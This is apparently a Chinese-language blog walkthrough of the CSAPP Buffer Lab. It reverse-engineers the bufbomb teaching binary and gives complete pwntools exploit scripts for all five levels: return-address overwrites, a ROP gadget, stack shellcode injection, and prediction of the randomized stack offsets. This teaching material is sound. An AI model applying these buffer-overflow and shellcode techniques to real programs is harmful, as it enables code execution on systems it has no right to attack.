[WARNING] 本文是對CSAPP附帶的Buffer Lab的究極指北,PWN小白趁機來練習使用pwntools和gdb && 用老朋友IDA檢視程式邏輯(可以說是抄小路了x。
LAB連結:CSAPP - Buffer Lab
任務說明書:buflab.pdf
真正的指南:Bufbomb緩衝區溢位攻擊實驗詳解-CSAPP - 雲+社群 - 騰訊雲
本文環境相關:
- IDA pro 7.5
- Python 2.7.17
- gdb 8.1.1 (外掛使用pwndbg)
- pwntools 4.4.0 (Python2的庫)
Overview
任務說明
BufBomb
分為5個關卡:
Level 0
: Candle- Your task is to get
BUFBOMB
to execute the code forsmoke
whengetbuf
executes its return statement, rather than returning totest. If you succeed in doing that, you will "light up the candle" and see the "smoke" of it. - 通過緩衝區溢位使
getbuf()
返回時不是返回到test()
,而是去執行smoke()
。
- Your task is to get
Level 1
: Sparkler- Similar to Level 0, your task is to get
BUFBOMB
to execute the code forfizz
rather than returning totest
. In this case, however, you must make it appear tofizz
as if you have passed your cookie as its argument. How can you hear thefizz
of your sparkler? - 通過緩衝區溢位使
getbuf()
返回時帶參執行fizz()
,引數為使用者的cookie
。
- Similar to Level 0, your task is to get
Level 2
: Firecracker- Similar to Levels 0 and 1, your task is to get
BUFBOMB
to execute the code forbang
rather than returning totest
. Before this, however, you must set global variableglobal_value
to your userid's cookie. Your exploit code should setglobal_value
, push the address ofbang
on the stack, and then execute aret
instruction to cause a jump to the code forbang
. - 通過緩衝區溢位使
getbuf()
返回時執行bang()
,執行時需滿足global_value == cookie
。
- Similar to Levels 0 and 1, your task is to get
Level 3
: Dynamite- Your job for this level is to supply an exploit string that will cause
getbuf
to return your cookie back totest
, rather than the value 1. You can see in the code fortest
that this will cause the program to go"Boom!."
. Your exploit code should set your cookie as the return value, restore any corrupted state, push the correct return location on the stack, and execute aret
instruction to really return totest
. - 通過緩衝區溢位使
getbuf()
的返回值為使用者的cookie
而不是1,並且能正常返回到test()
中,需注意old ebp
的儲存和復原。
- Your job for this level is to supply an exploit string that will cause
Level 4
: Nitroglycerin- Your task is identical to the task for the Dynamite level. Once again, your job for this level is to supply an exploit string that will cause
getbufn
to return your cookie back to test, rather than the value 1. You can see in the code for test that this will cause the program to go"KABOOM!."
. Your exploit code should set your cookie as the return value, restore any corrupted state, push the correct return location on the stack, and execute aret
instruction to really return totestn
. - 需要進行五次攻擊,每一次的場景與
Level 3
大致相同,只是每次的棧地址會發生改變。
- Your task is identical to the task for the Dynamite level. Once again, your job for this level is to supply an exploit string that will cause
BufBomb使用
開啟二進位制檔案./bufbomb
可以看到help
需要輸入對應引數,其中:
-u <userid>
為必填,但可以隨便填(最好一直用同一個userid)。-n
開啟最終關卡Level 4-s
為lab自帶的提交系統,本地做可以不用管-h
列印help information
也就是說:前面做Level 0
~Level 3
的時候,啟動程式的命令為./bufbomb -u xxx
(其中xxx是userid,可以任選),到Level 4
的時候命令則是./bufbomb -u xxx -n
,來開啟Nitroglycerin關卡。
(用IDA逆向時可以看到還有個引數是-g
,加了這個引數會限定時間。不過這裡help沒提就不管了x)
主流程解析
如果只是為了完成這個Lab的5個Level,本部分可直接跳過,這裡只是解析一下程式的啟動過程,方便理解後續操作。
用IDA開啟bufbomb
,從main()
看起。
引數分發
這裡的switch-case
部分是引數的分發,而必須執行的case u
部分是將輸入的userid
作為引數傳進gencookie()
中來生成cookie
,gencookie()
裡是:
大致邏輯是用userid
的hash值作為srand()
的種子,然後用rand()
生成合法的cookie
。
由此可見,對於同一個userid來說,cookie
是相同的。
還有一個需要關注的地方是case n
,這是一個用來開啟Level 4
的開關,設定v10=1;v3=5;
,在後面的分析中可以知道v10
是用來看此時狀態是否為Level 4
的標誌(1為開啟Level 4
,預設是0);v3
則是用來控制棧地址的個數的,在後面的分析中會詳細說明。
case s
是我們完全不用關心的分支(lab的提交系統),notify
標誌著是否有輸入這個引數,所以在後面的分析中,notify == 1
相關的分支我們可以不用理會。
usage()
是輸出help資訊,依然可以忽略。
對實驗場景的初始化
回到main函式往下看,initialize_bomb()
就是系統的初始化作用,主要是notify == 1
的處理,不用考慮。
然後輸出了userid
和cookie
。
再下面的邏輯中,用cookie
作為srandom()
的種子,然後用random()
生成隨機數依次給變數v9
和v5
陣列賦值。
這裡可以看到,v9
的範圍是[0x100,0x10f0)
,v5[i]
的範圍是[-0x70,0x80)
。
v5
陣列是用來儲存棧基址偏移的int32陣列,預設情況下v3=1
,即只有一個棧基址偏移(第一個為0),這樣就能保證棧基址偏移不變;Level 4
情況下v3=5
,儲存了5個棧基址偏移,並且需要執行5次launcher()
。
最後傳進launcher()
裡的是v5[i]+v9
。
由此可見,雖然題目裡說Level 4
的五次攻擊棧基址是不同的,但因為random()
的種子是cookie
,所以實際上是可以全部算出來的。於是在打Level 4
的時候就可以完全照搬Level 3
的辦法,只用改棧基址就好。
總結:主函式後面的部分就是初始化要傳進launcher()
裡的引數,然後走launcher()
。
launcher()
解析
a1
就是主函式裡的v10
,這裡傳給global_nitro
,這個全域性變數就是用來標誌是否為Level 4
場景的,1則是0則否。
a2
則是主函式的v5[i]+v9
,傳給了全域性變數global_offset
,用來在後面的launch()
函式中設定棧基址。
mmap()
這裡是把reserved
開頭的 0x100000
位元組開了可讀可寫可執行的許可權,即[0x55586000,0x55686000)
。這段記憶體是用來做棧空間的,因為按照實驗目的來說這個實驗需要在堆疊固定的情況下才能實現,所以為了克服linux下檔案的堆疊隨機化,直接開闢了一個固定地址的棧空間出來,launcher()
主要做的就是棧遷移的工作。
stack_top
實際上就是這塊空間的最後8byte
(這裡我也不知道為什麼預留了8byte
而不是4byte
,攤手),標誌著整塊空間的最高地址。
開了記憶體,接下來就要把esp
挪過去了,這裡需要去看彙編:
這一段是把程式正常的esp
儲存在ds:global_save_stack
中,然後將esp
遷移到stack_top
處,然後call launch()
,返回時從ds:global_save_stack
復原原來的esp
。
程式正常的esp
:esp -> eax -> edx -> ds:global_save_stack -> call luanch()
-> eax -> esp
實驗場景中的esp
:offset unk_55685FF8(即stack_top) -> edx -> esp -> call luanch()
至此把esp
挪到了這塊空間的最高地址處。
至於為什麼不把ebp
也一併挪了……一般函式開頭不都是經典兩句:
順便就儲存ebp+挪了ebp啊(
接下來使用的棧空間就是這塊reserved
了。
launch()
解析
這就是我們實驗的主函式:
a1
就是global_nitro
,標誌是否為Level 4
;若為Level 4
則走testn()
,否則走test()
。
a2
是傳進來的棧基址偏移,即global_offset
,在alloca()
中起到讓esp偏移的作用(alloca()
申請的記憶體在棧上,所以((&savedregs-72)&0x3FF0)+a2+15
越大即a2
越大,則申請到的空間越大,棧頂指標esp指向的地址越低)。這就是Level 4
模式下棧基址不同的來源(此模式下a2
不同,esp
也不同,就是說進到testn()
時的棧底地址也不同)。
而memset
的作用是把這一段全部用0xF4
填充,也就是說一旦執行到這一塊會引發一個段錯誤(?)。
至於具體的原理看原始碼可以看到,是一個對棧調整的小技巧:
接下來就可以看各個Level
的任務了。
其餘函式作用概括
-
test()
:Level 0-3
的主函式。 -
testn()
:是Level 4
的主函式,與test()
差不多,唯一的區別在於輸入呼叫了getbufn()
而不是getbuf()
。 -
getbuf()
:建立一個40 bytes
的空間用來放輸入。其中Gets()
中除了輸入字串以外(末尾換行符置0),還做了一些對notify == 1
時提交到評分系統的處理,因為這是我們完全可以忽略的,所以可以當成C標準庫裡的gets()
來用。 -
getbufn()
:同getbuf()
,不過這裡是用一個520 bytes
的空間來存輸入。 -
uniqueval()
:用當前程式號作為srandom()
的種子,返回一個random()
隨機數。不過在同一個程式執行時,這個返回的數應該是一樣的(攤手)。用在test()
/testn()
中起到一個自制canary
的作用,防止test()
和testn()
的棧溢位(正常的溢位應該控制在getbuf()
/getbufn()
裡)。 -
validate()
:走到這個函式就說明你的這一關卡成功了(Ohhhhhhh),呼叫的時候是calidate(x)
就說明通過了第x關,這裡只是在進行收尾工作。讓success=1
,並且計算每一關需要通關的次數及是否達到(前面四關為1,最後一關為5)。notify
相關照例不用理會。
該解釋的都解釋完了,現在開始做題(衝!
Level 0
Level 0
是一個最基礎的緩衝區溢位,只要操控返回地址就可。
我們知道,在函式呼叫過程中(比如進到getbut()
裡時),棧的情況是:
(這裡用四位元組為一個單位,陣列的標註形式用的是Python
裡的切片 /指前閉後開)
在彙編走到
call
的時候,程式會自動將下一條指令的地址壓進棧裡,然後跳到這個call
的函式。在函式開始時,一半會有經典兩句push ebp; mov ebp, esp
來儲存上一個棧幀的ebp
,也就是圖裡畫的old ebp
。
我們需要關注的是高亮的這塊ret addr
,只要讓輸入的v1
足夠長到覆蓋這裡就可,很容易看出v1需要輸入:40個位元組覆蓋v1
+4個位元組覆蓋old ebp
+4個位元組的返回地址(這裡需要使用smoke()
的地址即0x8048B50
,這樣就能操控ip返回到這個函式了)。
因為smoke()
最後直接用exit(0)
退出程式,不必回到上層函式,所以也不用管棧平衡和復原ebp
的問題。
最後用python2
的pwntools
寫exp有:(省略了import
和主函式部分,這裡只貼關鍵程式碼)
def level0():
r=process(argv=['./bufbomb','-u','111'],executable="./bufbomb")
smoke=0x8048B50
r.recv()
payload='a'*44+p32(smoke)
r.sendline(payload)
print(r.recv())
r.close()
然後呼叫level0()
即可。
Level 1
跟Level 0
的區別是fizz()
是一個帶參執行函式:
只有在呼叫fizz()
的時候傳入引數cookie
才能通關。
這裡需要知道Linux x86
的函式呼叫方式是依次將引數從右往左入棧,也就是說是從棧上取引數的。
正常函式call
的時候會把返回地址壓棧,所以取引數是從棧頂下一個單元開始取的。
即foo(arg0,arg1)
呼叫時的棧情況為:
而在這道題裡,fizz()
是直接改了ip跳過去的(相當於jmp
),並沒有將返回地址壓棧,但是取引數的時候仍然是按照這種規律來取,所以要空一個單元再放引數。
所以需要構造棧的分佈為:
在這裡因為fizz()
是通過exit(0)
直接退出程式的,所以依然不用管棧平衡。不過一般來說中間的這個隨便填單元可以是rop
鏈,這裡選用了pop ebx; ret
(地址在0x0804875d
處,類似的這種可以用ROPgadget
等工具找)。
這樣就可以在返回的時候呼叫這兩條語句,進而將壓進去的cookie
值從棧上清掉,回到正常的函式流程。
反正這裡不必這麼麻煩,隨便填單元可以隨便填,但是習慣來說還是用這個pop ebx; ret
的地址填上了(也就是exp裡的pop_ebx
)。
關鍵程式碼如下:
def level1():
r=process(argv=['./bufbomb','-u','111'],executable="./bufbomb")
fizz=0x8048B7A
r.recvuntil('Cookie: ')
cookie=int(r.recvuntil('\n').strip(),16)
print("[.] get cookie -> "+hex(cookie))
pop_ebx=0x0804875d
payload='a'*44+p32(fizz)+p32(pop_ebx)+p32(cookie)
r.sendline(payload)
print(r.recv())
r.close()
Level 2
Level 2
需要跳轉的函式也是無參函式,跟Level 0
的區別在要讓全域性變數global_value == cookie
才能過關。
因為是改全域性變數,所以考慮寫shellcode,直接用mov
來改。
shellcode為:(這裡只是用來說明思路,用&
表示取地址,不符合彙編語法)
mov dword ptr [&global_value],cookie
push &bang
ret
先讓global_value=cookie
,然後把bang()
的地址壓棧,這樣在下一步ret的時候就會返回到棧頂存的地址即跳到bang()
函式。
因為這裡棧空間開的許可權是rwx
(可讀可寫可執行),所以這段shellcode可以直接放在棧上,現在需要的就是讓前面的ret addr
等於這段shellcode的首地址,這樣就能跳到shellcode處執行。
需要構造的棧空間分佈是:
現在要填的內容只差shellcode_addr
是沒拿到的。
這裡可以用pwntools裡提供的gdb介面進行除錯來拿(傳送的payload為'a'*43
,這樣可以很容易找到返回地址和後面的地址在哪裡,注意pwntools的sendline()
自帶末尾換行符也會被輸進去,所以要少輸一個位元組)。
執行到getbuf()
時用hexdump
看esp
地址往後的十六進位制,藍框處是我們的ret addr
該填的地方,綠框開始的部分就可以用來填shellcode(首地址為0x55683928
)。
也可以直接用stack
看棧佈局:
同樣可以看到0x55683928
這個地址是可以開始填shellcode
的地方。
於是寫exp有:
def level2():
r=process(argv=['./bufbomb','-u','111'],executable="./bufbomb")
# gdb.attach(r)
bang=0x8048BC5
global_value=0x804D100
r.recvuntil('Cookie: ')
cookie=int(r.recvuntil('\n').strip(),16)
print("[.] get cookie -> "+hex(cookie))
# raw_input('#')
shellcode=asm('mov dword ptr [%s],%s'%(global_value,cookie))+\
asm('push %s'%bang)+\
asm('ret')
shellcode_addr=0x55683928
# payload='a'*43
payload='a'*44+p32(shellcode_addr)+shellcode
r.sendline(payload)
print(r.recv())
r.close()
Level 3
Level 3
的關鍵點在:
- 讓
getbuf()
的返回值為cookie
。 - 維持堆疊平衡,注意
old ebp
的復原。
所以程式流程是:getbuf()
-> shellcode
(把放函式返回值的暫存器即eax
的值改成cookie
) -> 回到test()
裡呼叫getbuf()
的下一行(返回地址用ret_addr
記錄)。
shellcode_addr
跟Level 2
的一樣,ret_addr
可以在IDA中看到是0x8048CD6
:
現在就差需要復原的old ebp
是未知量,用gdb調就可以拿到。
跟Level 2
的除錯流程同,不過payload只輸'a'*39
就好(同之前一樣,pwntools的sendline()
自帶一個換行符,被Gets()
置0了),因為要拿到覆蓋前的old ebp
。
藍框處就是old ebp
,用p/x
把這個值的十六進位制列印出來是0x55683950
。
所以填進exp:
def level3():
r=process(argv=['./bufbomb','-u','111'],executable="./bufbomb")
# gdb.attach(r)
r.recvuntil('Cookie: ')
cookie=int(r.recvuntil('\n').strip(),16)
print("[.] get cookie -> "+hex(cookie))
# raw_input('#')
old_ebp=0x55683950
ret_addr=0x8048CD6
shellcode_addr=0x55683928
shellcode=asm('mov eax,%s'%cookie)+\
asm('push %s'%ret_addr)+\
asm('ret')
# payload='a'*39
payload='a'*40+p32(old_ebp)+p32(shellcode_addr)+shellcode
r.sendline(payload)
print(r.recv())
r.close()
Level 4
Level 4
的要求和Level 3
大致相同,除了要攻擊5次,並且這5次的棧基址會發生變化。
從前面的分析可以知道,棧基址的變化是通過事先用random()
生成5個隨機數然後分別傳值實現的(儲存在main()
的v5
中),那我們可以通過同樣的方式生成這五個隨機數,在Level 3
的基礎上把地址稍作改變就可。
編寫生成這樣五個隨機數的rand.c
有:
#include <stdio.h>
#include <stdlib.h>
int main(){
int cookie=0;
scanf("%d",&cookie);
srandom(cookie);
int v9=(random()&0xFF0)+256;
printf("0x%x\n",v9);
for(int i=1;i<5;i++){
int tmp=128-(random()&0xF0)+v9;
printf("0x%x\n",tmp);
}
return 0;
}
用gcc rand.c -o rand
編譯,得到二進位制檔案rand
。
在exp中就可以用pexpect
模組進行互動,將cookie
輸入並拿到輸出的五個隨機數。
與Level 3
的exp相比,shellcode完全可以複用(與棧基址無關),而程式流程完全相同,只有棧基址發生了變化(以及預期輸入的長度從40變到了520),所以只要相應地改變old ebp
和shellcode_addr
就好。
同樣是從前面對launch()
分析中可以知道,其他關卡的基址和Level 4
的第一次是一樣的,棧基址是通過申請空間的大小來操控,申請的空間與v5[i]
有關,v5[i]
越大申請的空間越大,棧基址就越低。
所以可以通過倒推得到這個加上隨機數之前的base
。
def level4():
r=process(argv=['./bufbomb','-u','111','-n'],executable="./bufbomb")
# gdb.attach(r)
r.recvuntil('Cookie: ')
cookie=int(r.recvuntil('\n').strip(),16)
print("[.] get cookie -> "+hex(cookie))
p=pexpect.spawn("./rand")
p.sendline(str(cookie))
data=p.read().split('\r\n')[-6:-1]
p.wait()
print("[.] get rand -> "+str(data)) #拿到這5個隨機數
data=[int(x,16) for x in data]
ebp_base=0x55683950+data[0] #倒推得到base值
shellcode_base=0x55683928+data[0] #倒推得到base值
ret_addr=0x8048D42
shellcode=asm('mov eax,%s'%cookie)+\
asm('push %s'%ret_addr)+\
asm('ret')
for i in range(5):
# raw_input('#')
ebp=ebp_base-data[i]
shellcode_addr=shellcode_base-data[i]
payload='a'*520+p32(ebp)+p32(shellcode_addr)+shellcode
r.sendline(payload)
print(r.recv())
r.close()
最後五個關卡的exp彙總有:
#!/usr/bin/env python
# ------ Python2 ------
from pwn import *
import pexpect
# context.log_level='debug'
def level0():
r=process(argv=['./bufbomb','-u','111'],executable="./bufbomb")
smoke=0x8048B50
r.recv()
payload='a'*44+p32(smoke)
r.sendline(payload)
print(r.recv())
r.close()
def level1():
r=process(argv=['./bufbomb','-u','111'],executable="./bufbomb")
fizz=0x8048B7A
r.recvuntil('Cookie: ')
cookie=int(r.recvuntil('\n').strip(),16)
print("[.] get cookie -> "+hex(cookie))
pop_ebx=0x0804875d
payload='a'*44+p32(fizz)+p32(pop_ebx)+p32(cookie)
r.sendline(payload)
print(r.recv())
r.close()
def level2():
r=process(argv=['./bufbomb','-u','111'],executable="./bufbomb")
# gdb.attach(r)
bang=0x8048BC5
global_value=0x804D100
r.recvuntil('Cookie: ')
cookie=int(r.recvuntil('\n').strip(),16)
print("[.] get cookie -> "+hex(cookie))
# raw_input('#')
shellcode=asm('mov dword ptr [%s],%s'%(global_value,cookie))+\
asm('push %s'%bang)+\
asm('ret')
shellcode_addr=0x55683928
# payload='a'*43
payload='a'*44+p32(shellcode_addr)+shellcode
r.sendline(payload)
print(r.recv())
r.close()
def level3():
r=process(argv=['./bufbomb','-u','111'],executable="./bufbomb")
# gdb.attach(r)
r.recvuntil('Cookie: ')
cookie=int(r.recvuntil('\n').strip(),16)
print("[.] get cookie -> "+hex(cookie))
# raw_input('#')
old_ebp=0x55683950
ret_addr=0x8048CD6
shellcode_addr=0x55683928
shellcode=asm('mov eax,%s'%cookie)+\
asm('push %s'%ret_addr)+\
asm('ret')
# payload='a'*39
payload='a'*40+p32(old_ebp)+p32(shellcode_addr)+shellcode
r.sendline(payload)
print(r.recv())
r.close()
def level4():
r=process(argv=['./bufbomb','-u','111','-n'],executable="./bufbomb")
# gdb.attach(r)
r.recvuntil('Cookie: ')
cookie=int(r.recvuntil('\n').strip(),16)
print("[.] get cookie -> "+hex(cookie))
p=pexpect.spawn("./rand")
p.sendline(str(cookie))
data=p.read().split('\r\n')[-6:-1]
p.wait()
print("[.] get rand -> "+str(data))
data=[int(x,16) for x in data]
ebp_base=0x55683950+data[0]
shellcode_base=0x55683928+data[0]
ret_addr=0x8048D42
shellcode=asm('mov eax,%s'%cookie)+\
asm('push %s'%ret_addr)+\
asm('ret')
for i in range(5):
# raw_input('#')
ebp=ebp_base-data[i]
shellcode_addr=shellcode_base-data[i]
payload='a'*520+p32(ebp)+p32(shellcode_addr)+shellcode
r.sendline(payload)
print(r.recv())
r.close()
level0()
level1()
level2()
level3()
level4()